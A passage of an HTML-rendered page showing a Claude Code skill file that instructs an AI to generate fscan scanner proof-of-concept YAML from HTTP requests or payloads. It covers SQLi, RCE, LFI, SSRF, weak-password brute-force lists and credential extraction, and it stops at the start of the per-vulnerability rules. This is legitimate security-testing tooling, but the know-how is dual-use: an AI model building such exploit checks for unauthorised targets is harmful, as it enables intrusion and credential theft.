&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └── poc-format.md (445 lines)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; SKILL.md covers the full generation workflow:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Input parsing (method, path, headers, body, vuln type)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Naming conventions (poc-yaml-{vendor}-{type}, filename patterns)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Variable decisions — when to use set (RCE rand proof) vs sets (brute-force)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; vs neither
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Expression rules for every vuln type: SQLi, RCE blind, RCE reflect, LFI,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; SSRF, unauth, info-leak, weak-password
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - search field usage for extracting tokens/credentials/versions
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Multi-rule chain patterns with cleanup
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Output instructions (print YAML, suggest filename, recompile note)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Quick templates inline
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; poc-format.md is the detailed reference loaded on demand:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Every YAML field with type and description
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Full CEL function table (bcontains, icontains, bmatches, bytes, string,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; base64, randomInt, etc.)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - set vs sets semantics
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Complete templates for all 11 vulnerability categories, drawn from real POC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; files in the codebase
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Common mistakes and a naming reference table
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; To use: restart Claude Code or start a new session so the skill is loaded, then
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; paste an HTTP request or curl command and say &amp;#34;帮我生成 fscan poc yaml&amp;#34; — the
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; skill will trigger automatically.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;details class="details-shortcode"&gt;
&lt;summary&gt;SKILL.md&lt;/summary&gt;
&lt;div class="details-content"&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;span class="lnt"&gt;102
&lt;/span&gt;&lt;span class="lnt"&gt;103
&lt;/span&gt;&lt;span class="lnt"&gt;104
&lt;/span&gt;&lt;span class="lnt"&gt;105
&lt;/span&gt;&lt;span class="lnt"&gt;106
&lt;/span&gt;&lt;span class="lnt"&gt;107
&lt;/span&gt;&lt;span class="lnt"&gt;108
&lt;/span&gt;&lt;span class="lnt"&gt;109
&lt;/span&gt;&lt;span class="lnt"&gt;110
&lt;/span&gt;&lt;span class="lnt"&gt;111
&lt;/span&gt;&lt;span class="lnt"&gt;112
&lt;/span&gt;&lt;span class="lnt"&gt;113
&lt;/span&gt;&lt;span class="lnt"&gt;114
&lt;/span&gt;&lt;span class="lnt"&gt;115
&lt;/span&gt;&lt;span class="lnt"&gt;116
&lt;/span&gt;&lt;span class="lnt"&gt;117
&lt;/span&gt;&lt;span class="lnt"&gt;118
&lt;/span&gt;&lt;span class="lnt"&gt;119
&lt;/span&gt;&lt;span class="lnt"&gt;120
&lt;/span&gt;&lt;span class="lnt"&gt;121
&lt;/span&gt;&lt;span class="lnt"&gt;122
&lt;/span&gt;&lt;span class="lnt"&gt;123
&lt;/span&gt;&lt;span class="lnt"&gt;124
&lt;/span&gt;&lt;span class="lnt"&gt;125
&lt;/span&gt;&lt;span class="lnt"&gt;126
&lt;/span&gt;&lt;span class="lnt"&gt;127
&lt;/span&gt;&lt;span class="lnt"&gt;128
&lt;/span&gt;&lt;span class="lnt"&gt;129
&lt;/span&gt;&lt;span class="lnt"&gt;130
&lt;/span&gt;&lt;span class="lnt"&gt;131
&lt;/span&gt;&lt;span class="lnt"&gt;132
&lt;/span&gt;&lt;span class="lnt"&gt;133
&lt;/span&gt;&lt;span class="lnt"&gt;134
&lt;/span&gt;&lt;span class="lnt"&gt;135
&lt;/span&gt;&lt;span class="lnt"&gt;136
&lt;/span&gt;&lt;span class="lnt"&gt;137
&lt;/span&gt;&lt;span class="lnt"&gt;138
&lt;/span&gt;&lt;span class="lnt"&gt;139
&lt;/span&gt;&lt;span class="lnt"&gt;140
&lt;/span&gt;&lt;span class="lnt"&gt;141
&lt;/span&gt;&lt;span class="lnt"&gt;142
&lt;/span&gt;&lt;span class="lnt"&gt;143
&lt;/span&gt;&lt;span class="lnt"&gt;144
&lt;/span&gt;&lt;span class="lnt"&gt;145
&lt;/span&gt;&lt;span class="lnt"&gt;146
&lt;/span&gt;&lt;span class="lnt"&gt;147
&lt;/span&gt;&lt;span class="lnt"&gt;148
&lt;/span&gt;&lt;span class="lnt"&gt;149
&lt;/span&gt;&lt;span class="lnt"&gt;150
&lt;/span&gt;&lt;span class="lnt"&gt;151
&lt;/span&gt;&lt;span class="lnt"&gt;152
&lt;/span&gt;&lt;span class="lnt"&gt;153
&lt;/span&gt;&lt;span class="lnt"&gt;154
&lt;/span&gt;&lt;span class="lnt"&gt;155
&lt;/span&gt;&lt;span class="lnt"&gt;156
&lt;/span&gt;&lt;span class="lnt"&gt;157
&lt;/span&gt;&lt;span class="lnt"&gt;158
&lt;/span&gt;&lt;span class="lnt"&gt;159
&lt;/span&gt;&lt;span class="lnt"&gt;160
&lt;/span&gt;&lt;span class="lnt"&gt;161
&lt;/span&gt;&lt;span class="lnt"&gt;162
&lt;/span&gt;&lt;span class="lnt"&gt;163
&lt;/span&gt;&lt;span class="lnt"&gt;164
&lt;/span&gt;&lt;span class="lnt"&gt;165
&lt;/span&gt;&lt;span class="lnt"&gt;166
&lt;/span&gt;&lt;span class="lnt"&gt;167
&lt;/span&gt;&lt;span class="lnt"&gt;168
&lt;/span&gt;&lt;span class="lnt"&gt;169
&lt;/span&gt;&lt;span class="lnt"&gt;170
&lt;/span&gt;&lt;span class="lnt"&gt;171
&lt;/span&gt;&lt;span class="lnt"&gt;172
&lt;/span&gt;&lt;span class="lnt"&gt;173
&lt;/span&gt;&lt;span class="lnt"&gt;174
&lt;/span&gt;&lt;span class="lnt"&gt;175
&lt;/span&gt;&lt;span class="lnt"&gt;176
&lt;/span&gt;&lt;span class="lnt"&gt;177
&lt;/span&gt;&lt;span class="lnt"&gt;178
&lt;/span&gt;&lt;span class="lnt"&gt;179
&lt;/span&gt;&lt;span class="lnt"&gt;180
&lt;/span&gt;&lt;span class="lnt"&gt;181
&lt;/span&gt;&lt;span class="lnt"&gt;182
&lt;/span&gt;&lt;span class="lnt"&gt;183
&lt;/span&gt;&lt;span class="lnt"&gt;184
&lt;/span&gt;&lt;span class="lnt"&gt;185
&lt;/span&gt;&lt;span class="lnt"&gt;186
&lt;/span&gt;&lt;span class="lnt"&gt;187
&lt;/span&gt;&lt;span class="lnt"&gt;188
&lt;/span&gt;&lt;span class="lnt"&gt;189
&lt;/span&gt;&lt;span class="lnt"&gt;190
&lt;/span&gt;&lt;span class="lnt"&gt;191
&lt;/span&gt;&lt;span class="lnt"&gt;192
&lt;/span&gt;&lt;span class="lnt"&gt;193
&lt;/span&gt;&lt;span class="lnt"&gt;194
&lt;/span&gt;&lt;span class="lnt"&gt;195
&lt;/span&gt;&lt;span class="lnt"&gt;196
&lt;/span&gt;&lt;span class="lnt"&gt;197
&lt;/span&gt;&lt;span class="lnt"&gt;198
&lt;/span&gt;&lt;span class="lnt"&gt;199
&lt;/span&gt;&lt;span class="lnt"&gt;200
&lt;/span&gt;&lt;span class="lnt"&gt;201
&lt;/span&gt;&lt;span class="lnt"&gt;202
&lt;/span&gt;&lt;span class="lnt"&gt;203
&lt;/span&gt;&lt;span class="lnt"&gt;204
&lt;/span&gt;&lt;span class="lnt"&gt;205
&lt;/span&gt;&lt;span class="lnt"&gt;206
&lt;/span&gt;&lt;span class="lnt"&gt;207
&lt;/span&gt;&lt;span class="lnt"&gt;208
&lt;/span&gt;&lt;span class="lnt"&gt;209
&lt;/span&gt;&lt;span class="lnt"&gt;210
&lt;/span&gt;&lt;span class="lnt"&gt;211
&lt;/span&gt;&lt;span class="lnt"&gt;212
&lt;/span&gt;&lt;span class="lnt"&gt;213
&lt;/span&gt;&lt;span class="lnt"&gt;214
&lt;/span&gt;&lt;span class="lnt"&gt;215
&lt;/span&gt;&lt;span class="lnt"&gt;216
&lt;/span&gt;&lt;span class="lnt"&gt;217
&lt;/span&gt;&lt;span class="lnt"&gt;218
&lt;/span&gt;&lt;span class="lnt"&gt;219
&lt;/span&gt;&lt;span class="lnt"&gt;220
&lt;/span&gt;&lt;span class="lnt"&gt;221
&lt;/span&gt;&lt;span class="lnt"&gt;222
&lt;/span&gt;&lt;span class="lnt"&gt;223
&lt;/span&gt;&lt;span class="lnt"&gt;224
&lt;/span&gt;&lt;span class="lnt"&gt;225
&lt;/span&gt;&lt;span class="lnt"&gt;226
&lt;/span&gt;&lt;span class="lnt"&gt;227
&lt;/span&gt;&lt;span class="lnt"&gt;228
&lt;/span&gt;&lt;span class="lnt"&gt;229
&lt;/span&gt;&lt;span class="lnt"&gt;230
&lt;/span&gt;&lt;span class="lnt"&gt;231
&lt;/span&gt;&lt;span class="lnt"&gt;232
&lt;/span&gt;&lt;span class="lnt"&gt;233
&lt;/span&gt;&lt;span class="lnt"&gt;234
&lt;/span&gt;&lt;span class="lnt"&gt;235
&lt;/span&gt;&lt;span class="lnt"&gt;236
&lt;/span&gt;&lt;span class="lnt"&gt;237
&lt;/span&gt;&lt;span class="lnt"&gt;238
&lt;/span&gt;&lt;span class="lnt"&gt;239
&lt;/span&gt;&lt;span class="lnt"&gt;240
&lt;/span&gt;&lt;span class="lnt"&gt;241
&lt;/span&gt;&lt;span class="lnt"&gt;242
&lt;/span&gt;&lt;span class="lnt"&gt;243
&lt;/span&gt;&lt;span class="lnt"&gt;244
&lt;/span&gt;&lt;span class="lnt"&gt;245
&lt;/span&gt;&lt;span class="lnt"&gt;246
&lt;/span&gt;&lt;span class="lnt"&gt;247
&lt;/span&gt;&lt;span class="lnt"&gt;248
&lt;/span&gt;&lt;span class="lnt"&gt;249
&lt;/span&gt;&lt;span class="lnt"&gt;250
&lt;/span&gt;&lt;span class="lnt"&gt;251
&lt;/span&gt;&lt;span class="lnt"&gt;252
&lt;/span&gt;&lt;span class="lnt"&gt;253
&lt;/span&gt;&lt;span class="lnt"&gt;254
&lt;/span&gt;&lt;span class="lnt"&gt;255
&lt;/span&gt;&lt;span class="lnt"&gt;256
&lt;/span&gt;&lt;span class="lnt"&gt;257
&lt;/span&gt;&lt;span class="lnt"&gt;258
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;name: fscan-poc-gen
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;description: &amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Generates fscan-compatible POC YAML files from raw inputs. Triggers on:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;生成 POC&amp;#34;, &amp;#34;写一个 poc&amp;#34;, &amp;#34;帮我生成 poc&amp;#34;, &amp;#34;convert this payload to POC yaml&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;generate fscan poc&amp;#34;, &amp;#34;create poc yaml&amp;#34;, &amp;#34;把这个 payload 转成 poc&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;帮我把这个 HTTP 请求生成 fscan poc&amp;#34;, &amp;#34;generate a poc yaml for this CVE&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;写一个弱口令的 poc&amp;#34;, &amp;#34;把这个 curl 命令转成 poc yaml&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;我有一个 SQL 注入 payload，帮我生成 poc&amp;#34;, &amp;#34;生成 fscan yaml&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;convert to fscan poc&amp;#34;, &amp;#34;fscan poc 怎么写&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;version: 0.1.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;You are an expert at generating fscan POC YAML files. When triggered, follow these steps precisely to produce a correct, complete POC.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Step 1: Parse the Input
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Identify each of these from the user&amp;#39;s payload, HTTP request, curl command, or description:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **HTTP method**: GET / POST / PUT / DELETE / HEAD (default GET if unspecified)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **Path**: URL path only — strip the scheme and host (e.g., from &lt;span class="sb"&gt;`http://target.com/api/foo`&lt;/span&gt; take &lt;span class="sb"&gt;`/api/foo`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **Headers**: Extract Content-Type, Cookie, Authorization, X-* custom headers. Omit Host, Connection, Content-Length — fscan injects these automatically.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **Body**: Raw body string, JSON object, or form-encoded data. Preserve exact whitespace if relevant.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **Vulnerability type**: classify as one of: &lt;span class="sb"&gt;`sqli`&lt;/span&gt;, &lt;span class="sb"&gt;`rce-blind`&lt;/span&gt;, &lt;span class="sb"&gt;`rce-reflect`&lt;/span&gt;, &lt;span class="sb"&gt;`lfi`&lt;/span&gt;, &lt;span class="sb"&gt;`ssrf`&lt;/span&gt;, &lt;span class="sb"&gt;`unauth`&lt;/span&gt;, &lt;span class="sb"&gt;`info-leak`&lt;/span&gt;, &lt;span class="sb"&gt;`weak-password`&lt;/span&gt;, &lt;span class="sb"&gt;`detect`&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the input is ambiguous (e.g., no clear host/path split, no obvious vuln type), ask the user before proceeding.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Step 2: Choose the POC Name and Filename
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**POC `name` field**&lt;/span&gt; — lowercase, hyphen-separated, prefixed &lt;span class="sb"&gt;`poc-yaml-`&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Pattern: &lt;span class="sb"&gt;`poc-yaml-{vendor}-{product}-{type}`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; With CVE: &lt;span class="sb"&gt;`poc-yaml-{vendor}-cve-{year}-{id}`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Examples: &lt;span class="sb"&gt;`poc-yaml-weblogic-console-weak`&lt;/span&gt;, &lt;span class="sb"&gt;`poc-yaml-spring-cve-2022-22947`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Filename**&lt;/span&gt; — follows: &lt;span class="sb"&gt;`{vendor}-{product}-{cve-or-type}.yml`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Examples: &lt;span class="sb"&gt;`weblogic-console-weak.yml`&lt;/span&gt;, &lt;span class="sb"&gt;`spring-cve-2022-22947.yml`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If vendor or product name is unclear from the input, ask the user.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Step 3: Decide Variables (`set` / `sets`)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ge"&gt;**&lt;/span&gt;&lt;span class="sb"&gt;`set`&lt;/span&gt;** — single values computed once at runtime:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Use &lt;span class="sb"&gt;`randomInt(min, max)`&lt;/span&gt; for RCE math-proof integers.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Use &lt;span class="sb"&gt;`randomLowercase(n)`&lt;/span&gt; for random path segments or usernames used for cleanup.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Omit entirely for detection-only or static POCs.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ge"&gt;**&lt;/span&gt;&lt;span class="sb"&gt;`sets`&lt;/span&gt;** — cartesian product for brute-force:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Use only for weak-password / credential-stuffing POCs.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; List each credential variant. Keep lists concise (≤10 entries); note the user can extend them.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**For RCE blind verification**&lt;/span&gt;, always generate two random integers:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rand1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomInt(800000000, 1000000000)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rand2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomInt(800000000, 1000000000)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Inject &lt;span class="sb"&gt;`{{rand1}}`&lt;/span&gt; and &lt;span class="sb"&gt;`{{rand2}}`&lt;/span&gt; into the payload math expression, then verify &lt;span class="sb"&gt;`response.body.bcontains(bytes(string(rand1 + rand2)))`&lt;/span&gt; in a later rule.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Step 4: Write Expression by Vulnerability Type
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
